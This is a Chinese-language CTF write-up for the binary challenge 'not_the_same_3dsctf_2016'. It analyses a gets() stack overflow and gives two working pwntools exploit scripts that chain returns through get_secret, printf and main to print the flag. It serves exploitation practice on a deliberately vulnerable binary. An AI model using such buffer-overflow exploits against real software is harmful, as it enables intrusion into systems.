解题
checksec
先checksec一下,发现没有开canary方便了栈溢出,PIE也没开
![01](https://static-img.0xffff.one/wm6H1yAvKpPo0-Z6skMvmk_TL3go5W2mGZrSSbIOEJw/q:90/w:800/rt:fit/aHR0cHM6Ly9pbWct/YmxvZy5jc2RuaW1n/LmNuLzIwMjEwNTIx/MTYxOTM0ODIzLnBu/Zw.jpg)
反编译
IDA反编译
main函数
![main](https://static-img.0xffff.one/vN4ghf6UmRk8Zg8K5J6EJscx60PERO8VA39uCYMywy4/q:90/w:800/rt:fit/aHR0cHM6Ly9pbWct/YmxvZy5jc2RuaW1n/LmNuLzIwMjEwNTIx/MTYyMDQ0MjUzLnBu/Zw.jpg)
get_secret函数
![get](https://static-img.0xffff.one/0WQhsf3imqIjbFBOVPXNuntHy-ZWn6VZJtS6ltw4W1U/q:90/w:800/rt:fit/aHR0cHM6Ly9pbWct/YmxvZy5jc2RuaW1n/LmNuLzIwMjEwNTIx/MTYyMTE4MTgwLnBu/Zw.jpg)
分析利用
程序先进入main函数,有一个gets(无限长度的栈溢出)
get_secret函数是将flag.txt读入bss段中,并没有做输出的操作
思路:,在main函数中修改main函数的返回地址,返回到get_secret函数中,读取flag,再返回到mian函数中(第二次进入main函数),修改返回地址为printf的地址,传入flag地址。
但这是会发现,程序没有关掉输入输出缓冲区,故需要程序正常退出才能打印输出。
故,构造printf返回地址为main函数(第三次进入main函数),修改main函数返回地址为,原正常程序的返回地址
实践
from pwn import *
context.log_level='debug'
r = process('./not_the_same_3dsctf_2016')
# r = gdb.debug('./not_the_same_3dsctf_2016', 'break main')
# r = remote('node3.buuoj.cn',00000)
e = ELF('./not_the_same_3dsctf_2016')
getflag = 0x080489A0
maina = 0x080489E0
flag = 0x080ECA2D
p1 = 'a' * 0x2d + p32(getflag) + p32(maina)
r.sendline(p1)
p2 = 'a'*0x2d + p32(e.sym['printf']) + 'aaaa' + p32(flag)
r.sendline(p2)
r.interactive()
![mm](https://static-img.0xffff.one/GBOkuuz592RcXvsgExBIDfX_xoWQNtnSOyqYdkES-mw/q:90/w:800/rt:fit/aHR0cHM6Ly9pbWct/YmxvZy5jc2RuaW1n/LmNuLzIwMjEwNTIx/MTYzNjAyNjQ3LnBu/Zz94LW9zcy1wcm9j/ZXNzPWltYWdlL3dh/dGVybWFyayx0eXBl/X1ptRnVaM3BvWlc1/bmFHVnBkR2ssc2hh/ZG93XzEwLHRleHRf/YUhSMGNITTZMeTlp/Ykc5bkxtTnpaRzR1/Ym1WMEwzZGxhWGhw/Ymw4ME5UQXdORFV4/TXc9PSxzaXplXzE2/LGNvbG9yX0ZGRkZG/Rix0Xzcw.jpg)
没有输出flag
动态调试
![ddd](https://static-img.0xffff.one/lpyMT6qPlCjOrLng0WA1jtxZMfUUyX0D4rlIErnGXrA/q:90/w:800/rt:fit/aHR0cHM6Ly9pbWct/YmxvZy5jc2RuaW1n/LmNuLzIwMjEwNTIx/MTYzNzA5NTMzLnBu/Zz94LW9zcy1wcm9j/ZXNzPWltYWdlL3dh/dGVybWFyayx0eXBl/X1ptRnVaM3BvWlc1/bmFHVnBkR2ssc2hh/ZG93XzEwLHRleHRf/YUhSMGNITTZMeTlp/Ykc5bkxtTnpaRzR1/Ym1WMEwzZGxhWGhw/Ymw4ME5UQXdORFV4/TXc9PSxzaXplXzE2/LGNvbG9yX0ZGRkZG/Rix0Xzcw.jpg)
函数正常退出的返回地址是0x8048c2e
0xffef2ccc —▸ 0x8048c2e (generic_start_main+542)
故第三次返回mian修改返回地址为0x8048c2e
完整exp
from pwn import *
context.log_level='debug'
r = process('./not_the_same_3dsctf_2016')
# r = gdb.debug('./not_the_same_3dsctf_2016', 'break main')
# r = remote('node3.buuoj.cn',00000)
e = ELF('./not_the_same_3dsctf_2016')
getflag = 0x080489A0
maina = 0x080489E0
flag = 0x080ECA2D
p1 = 'a' * 0x2d + p32(getflag) + p32(maina)
r.sendline(p1)
p2 = 'a'*0x2d + p32(e.sym['printf']) + p32(maina) + p32(flag)
r.sendline(p2)
p3 = 'a'*0x2d + p32(0x8048c2e)
r.sendline(p3)
r.interactive()
获取flag
![flag](https://static-img.0xffff.one/13UhV0YUHmp31q1EANwIuK4b48KgSC0oh9SYwd_9ekk/q:90/w:800/rt:fit/aHR0cHM6Ly9pbWct/YmxvZy5jc2RuaW1n/LmNuLzIwMjEwNTIx/MTY0MDQyMTk4LnBu/Zw.jpg)
小结
- 相对于需要修改栈区权限的方法,这个更加简单。
- 三次返回main函数的想法是动态调试一步一步试出来的
- 我是ctf萌新,正在不断学习